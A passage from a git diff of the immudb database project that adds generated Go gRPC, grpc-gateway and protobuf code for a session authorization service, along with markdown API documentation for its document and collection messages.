}) + return file_authorization_proto_rawDescData +} + +var file_authorization_proto_msgTypes = make([]protoimpl.MessageInfo, 6) +var file_authorization_proto_goTypes = []interface{}{ + (*OpenSessionRequest)(nil), // 0: immudb.model.OpenSessionRequest + (*OpenSessionResponse)(nil), // 1: immudb.model.OpenSessionResponse + (*KeepAliveRequest)(nil), // 2: immudb.model.KeepAliveRequest + (*KeepAliveResponse)(nil), // 3: immudb.model.KeepAliveResponse + (*CloseSessionRequest)(nil), // 4: immudb.model.CloseSessionRequest + (*CloseSessionResponse)(nil), // 5: immudb.model.CloseSessionResponse +} +var file_authorization_proto_depIdxs = []int32{ + 0, // 0: immudb.model.AuthorizationService.OpenSession:input_type -> immudb.model.OpenSessionRequest + 2, // 1: immudb.model.AuthorizationService.KeepAlive:input_type -> immudb.model.KeepAliveRequest + 4, // 2: immudb.model.AuthorizationService.CloseSession:input_type -> immudb.model.CloseSessionRequest + 1, // 3: immudb.model.AuthorizationService.OpenSession:output_type -> immudb.model.OpenSessionResponse + 3, // 4: immudb.model.AuthorizationService.KeepAlive:output_type -> immudb.model.KeepAliveResponse + 5, // 5: immudb.model.AuthorizationService.CloseSession:output_type -> immudb.model.CloseSessionResponse + 3, // [3:6] is the sub-list for method output_type + 0, // [0:3] is the sub-list for method input_type + 0, // [0:0] is the sub-list for extension type_name + 0, // [0:0] is the sub-list for extension extendee + 0, // [0:0] is the sub-list for field type_name +} + +func init() { file_authorization_proto_init() } +func file_authorization_proto_init() { + if File_authorization_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_authorization_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*OpenSessionRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_authorization_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*OpenSessionResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_authorization_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*KeepAliveRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_authorization_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*KeepAliveResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_authorization_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CloseSessionRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_authorization_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CloseSessionResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_authorization_proto_rawDesc, + NumEnums: 0, + NumMessages: 6, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_authorization_proto_goTypes, + DependencyIndexes: file_authorization_proto_depIdxs, + MessageInfos: file_authorization_proto_msgTypes, + }.Build() + File_authorization_proto = out.File + file_authorization_proto_rawDesc = nil + file_authorization_proto_goTypes = nil + file_authorization_proto_depIdxs = nil +} diff --git a/pkg/api/protomodel/authorization.pb.gw.go b/pkg/api/protomodel/authorization.pb.gw.go new file mode 100644 index 0000000000..60a194d267 --- /dev/null +++ b/pkg/api/protomodel/authorization.pb.gw.go @@ -0,0 +1,331 @@ +// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. +// source: authorization.proto + +/* +Package protomodel is a reverse proxy. + +It translates gRPC into RESTful JSON APIs. +*/ +package protomodel + +import ( + "context" + "io" + "net/http" + + "github.com/golang/protobuf/descriptor" + "github.com/golang/protobuf/proto" + "github.com/grpc-ecosystem/grpc-gateway/runtime" + "github.com/grpc-ecosystem/grpc-gateway/utilities" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/grpclog" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/status" +) + +// Suppress "imported and not used" errors +var _ codes.Code +var _ io.Reader +var _ status.Status +var _ = runtime.String +var _ = utilities.NewDoubleArray +var _ = descriptor.ForMessage +var _ = metadata.Join + +func request_AuthorizationService_OpenSession_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq OpenSessionRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.OpenSession(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_AuthorizationService_OpenSession_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq OpenSessionRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.OpenSession(ctx, &protoReq) + return msg, metadata, err + +} + +func request_AuthorizationService_KeepAlive_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq KeepAliveRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.KeepAlive(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_AuthorizationService_KeepAlive_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq KeepAliveRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.KeepAlive(ctx, &protoReq) + return msg, metadata, err + +} + +func request_AuthorizationService_CloseSession_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CloseSessionRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CloseSession(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_AuthorizationService_CloseSession_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CloseSessionRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CloseSession(ctx, &protoReq) + return msg, metadata, err + +} + +// RegisterAuthorizationServiceHandlerServer registers the http handlers for service AuthorizationService to "mux". +// UnaryRPC :call AuthorizationServiceServer directly. +// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterAuthorizationServiceHandlerFromEndpoint instead. +func RegisterAuthorizationServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AuthorizationServiceServer) error { + + mux.Handle("POST", pattern_AuthorizationService_OpenSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_AuthorizationService_OpenSession_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_OpenSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_AuthorizationService_KeepAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_AuthorizationService_KeepAlive_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_KeepAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_AuthorizationService_CloseSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_AuthorizationService_CloseSession_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_CloseSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +// RegisterAuthorizationServiceHandlerFromEndpoint is same as RegisterAuthorizationServiceHandler but +// automatically dials to "endpoint" and closes the connection when "ctx" gets done. +func RegisterAuthorizationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { + conn, err := grpc.Dial(endpoint, opts...) + if err != nil { + return err + } + defer func() { + if err != nil { + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + return + } + go func() { + <-ctx.Done() + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + }() + }() + + return RegisterAuthorizationServiceHandler(ctx, mux, conn) +} + +// RegisterAuthorizationServiceHandler registers the http handlers for service AuthorizationService to "mux". +// The handlers forward requests to the grpc endpoint over "conn". +func RegisterAuthorizationServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterAuthorizationServiceHandlerClient(ctx, mux, NewAuthorizationServiceClient(conn)) +} + +// RegisterAuthorizationServiceHandlerClient registers the http handlers for service AuthorizationService +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "AuthorizationServiceClient". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "AuthorizationServiceClient" +// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in +// "AuthorizationServiceClient" to call the correct interceptors. +func RegisterAuthorizationServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client AuthorizationServiceClient) error { + + mux.Handle("POST", pattern_AuthorizationService_OpenSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_AuthorizationService_OpenSession_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_OpenSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_AuthorizationService_KeepAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_AuthorizationService_KeepAlive_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_KeepAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_AuthorizationService_CloseSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_AuthorizationService_CloseSession_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_AuthorizationService_CloseSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +var ( + pattern_AuthorizationService_OpenSession_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "open"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_AuthorizationService_KeepAlive_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "keepalive"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_AuthorizationService_CloseSession_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "close"}, "", runtime.AssumeColonVerbOpt(true))) +) + +var ( + forward_AuthorizationService_OpenSession_0 = runtime.ForwardResponseMessage + + forward_AuthorizationService_KeepAlive_0 = runtime.ForwardResponseMessage + + forward_AuthorizationService_CloseSession_0 = runtime.ForwardResponseMessage +) diff --git a/pkg/api/protomodel/authorization_grpc.pb.go b/pkg/api/protomodel/authorization_grpc.pb.go new file mode 100644 index 0000000000..0a266a8741 --- /dev/null +++ b/pkg/api/protomodel/authorization_grpc.pb.go @@ -0,0 +1,171 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. + +package protomodel + +import ( + context "context" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.32.0 or later. +const _ = grpc.SupportPackageIsVersion7 + +// AuthorizationServiceClient is the client API for AuthorizationService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type AuthorizationServiceClient interface { + OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) + KeepAlive(ctx context.Context, in *KeepAliveRequest, opts ...grpc.CallOption) (*KeepAliveResponse, error) + CloseSession(ctx context.Context, in *CloseSessionRequest, opts ...grpc.CallOption) (*CloseSessionResponse, error) +} + +type authorizationServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewAuthorizationServiceClient(cc grpc.ClientConnInterface) AuthorizationServiceClient { + return &authorizationServiceClient{cc} +} + +func (c *authorizationServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) { + out := new(OpenSessionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.AuthorizationService/OpenSession", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *authorizationServiceClient) KeepAlive(ctx context.Context, in *KeepAliveRequest, opts ...grpc.CallOption) (*KeepAliveResponse, error) { + out := new(KeepAliveResponse) + err := c.cc.Invoke(ctx, "/immudb.model.AuthorizationService/KeepAlive", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *authorizationServiceClient) CloseSession(ctx context.Context, in *CloseSessionRequest, opts ...grpc.CallOption) (*CloseSessionResponse, error) { + out := new(CloseSessionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.AuthorizationService/CloseSession", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +// AuthorizationServiceServer is the server API for AuthorizationService service. +// All implementations should embed UnimplementedAuthorizationServiceServer +// for forward compatibility +type AuthorizationServiceServer interface { + OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) + KeepAlive(context.Context, *KeepAliveRequest) (*KeepAliveResponse, error) + CloseSession(context.Context, *CloseSessionRequest) (*CloseSessionResponse, error) +} + +// UnimplementedAuthorizationServiceServer should be embedded to have forward compatible implementations. +type UnimplementedAuthorizationServiceServer struct { +} + +func (UnimplementedAuthorizationServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") +} +func (UnimplementedAuthorizationServiceServer) KeepAlive(context.Context, *KeepAliveRequest) (*KeepAliveResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method KeepAlive not implemented") +} +func (UnimplementedAuthorizationServiceServer) CloseSession(context.Context, *CloseSessionRequest) (*CloseSessionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") +} + +// UnsafeAuthorizationServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to AuthorizationServiceServer will +// result in compilation errors. +type UnsafeAuthorizationServiceServer interface { + mustEmbedUnimplementedAuthorizationServiceServer() +} + +func RegisterAuthorizationServiceServer(s grpc.ServiceRegistrar, srv AuthorizationServiceServer) { + s.RegisterService(&AuthorizationService_ServiceDesc, srv) +} + +func _AuthorizationService_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(OpenSessionRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(AuthorizationServiceServer).OpenSession(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.AuthorizationService/OpenSession", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(AuthorizationServiceServer).OpenSession(ctx, req.(*OpenSessionRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _AuthorizationService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(KeepAliveRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(AuthorizationServiceServer).KeepAlive(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.AuthorizationService/KeepAlive", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(AuthorizationServiceServer).KeepAlive(ctx, req.(*KeepAliveRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _AuthorizationService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CloseSessionRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(AuthorizationServiceServer).CloseSession(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.AuthorizationService/CloseSession", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(AuthorizationServiceServer).CloseSession(ctx, req.(*CloseSessionRequest)) + } + return interceptor(ctx, in, info, handler) +} + +// AuthorizationService_ServiceDesc is the grpc.ServiceDesc for AuthorizationService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var AuthorizationService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.model.AuthorizationService", + HandlerType: (*AuthorizationServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "OpenSession", + Handler: _AuthorizationService_OpenSession_Handler, + }, + { + MethodName: "KeepAlive", + Handler: _AuthorizationService_KeepAlive_Handler, + }, + { + MethodName: "CloseSession", + Handler: _AuthorizationService_CloseSession_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "authorization.proto", +} diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md new file mode 100644 index 0000000000..5213623d3e --- /dev/null +++ b/pkg/api/protomodel/docs.md @@ -0,0 +1,695 @@ +# Protocol Documentation + + +## Table of Contents + +- [authorization.proto](#authorization.proto) + - [CloseSessionRequest](#immudb.model.CloseSessionRequest) + - [CloseSessionResponse](#immudb.model.CloseSessionResponse) + - [KeepAliveRequest](#immudb.model.KeepAliveRequest) + - [KeepAliveResponse](#immudb.model.KeepAliveResponse) + - [OpenSessionRequest](#immudb.model.OpenSessionRequest) + - [OpenSessionResponse](#immudb.model.OpenSessionResponse) + + - [AuthorizationService](#immudb.model.AuthorizationService) + +- [documents.proto](#documents.proto) + - [Collection](#immudb.model.Collection) + - [CollectionCreateRequest](#immudb.model.CollectionCreateRequest) + - [CollectionCreateResponse](#immudb.model.CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb.model.CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb.model.CollectionDeleteResponse) + - [CollectionGetRequest](#immudb.model.CollectionGetRequest) + - [CollectionGetResponse](#immudb.model.CollectionGetResponse) + - [CollectionListRequest](#immudb.model.CollectionListRequest) + - [CollectionListResponse](#immudb.model.CollectionListResponse) + - [CollectionUpdateRequest](#immudb.model.CollectionUpdateRequest) + - [CollectionUpdateResponse](#immudb.model.CollectionUpdateResponse) + - [DocumentAtRevision](#immudb.model.DocumentAtRevision) + - [DocumentAuditRequest](#immudb.model.DocumentAuditRequest) + - [DocumentAuditResponse](#immudb.model.DocumentAuditResponse) + - [DocumentInsertManyRequest](#immudb.model.DocumentInsertManyRequest) + - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) + - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) + - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) + - [DocumentProofRequest](#immudb.model.DocumentProofRequest) + - [DocumentProofResponse](#immudb.model.DocumentProofResponse) + - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) + - [DocumentSearchResponse](#immudb.model.DocumentSearchResponse) + - [DocumentUpdateRequest](#immudb.model.DocumentUpdateRequest) + - [DocumentUpdateResponse](#immudb.model.DocumentUpdateResponse) + - [Field](#immudb.model.Field) + - [FieldComparison](#immudb.model.FieldComparison) + - [Index](#immudb.model.Index) + - [Query](#immudb.model.Query) + - [QueryExpression](#immudb.model.QueryExpression) + + - [ComparisonOperator](#immudb.model.ComparisonOperator) + - [FieldType](#immudb.model.FieldType) + + - [DocumentService](#immudb.model.DocumentService) + +- [Scalar Value Types](#scalar-value-types) + + + + +

Top

+ +## authorization.proto + + + + + +### CloseSessionRequest + + + + + + + + + +### CloseSessionResponse + + + + + + + + + +### KeepAliveRequest + + + + + + + + + +### KeepAliveResponse + + + + + + + + + +### OpenSessionRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| username | [string](#string) | | | +| password | [string](#string) | | | +| database | [string](#string) | | | + + + + + + + + +### OpenSessionResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| sessionID | [string](#string) | | | +| serverUUID | [string](#string) | | | +| expirationTimestamp | [int32](#int32) | | | +| inactivityTimestamp | [int32](#int32) | | | + + + + + + + + + + + + + + +### AuthorizationService + + +| Method Name | Request Type | Response Type | Description | +| ----------- | ------------ | ------------- | ------------| +| OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | +| KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | +| CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | | + + + + + + +

Top

+ +## documents.proto + + + + + +### Collection + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| idFieldName | [string](#string) | | | +| fields | [Field](#immudb.model.Field) | repeated | | +| indexes | [Index](#immudb.model.Index) | repeated | | + + + + + + + + +### CollectionCreateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [Collection](#immudb.model.Collection) | | | + + + + + + + + +### CollectionCreateResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [Collection](#immudb.model.Collection) | | | + + + + + + + + +### CollectionDeleteRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + +### CollectionDeleteResponse + + + + + + + + + +### CollectionGetRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + +### CollectionGetResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [Collection](#immudb.model.Collection) | | | + + + + + + + + +### CollectionListRequest + + + + + + + + + +### CollectionListResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collections | [Collection](#immudb.model.Collection) | repeated | | + + + + + + + + +### CollectionUpdateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [Collection](#immudb.model.Collection) | | | + + + + + + + + +### CollectionUpdateResponse + + + + + + + + + +### DocumentAtRevision + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| transactionId | [uint64](#uint64) | | | +| revision | [uint64](#uint64) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | + + + + + + + + +### DocumentAuditRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| documentId | [string](#string) | | | +| desc | [bool](#bool) | | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | + + + + + + + + +### DocumentAuditResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | + + + + + + + + +### DocumentInsertManyRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | + + + + + + + + +### DocumentInsertManyResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| transactionId | [uint64](#uint64) | | | +| documentIds | [string](#string) | repeated | | + + + + + + + + +### DocumentInsertRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | + + + + + + + + +### DocumentInsertResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| transactionId | [uint64](#uint64) | | | +| documentId | [string](#string) | | | + + + + + + + + +### DocumentProofRequest + + + +| 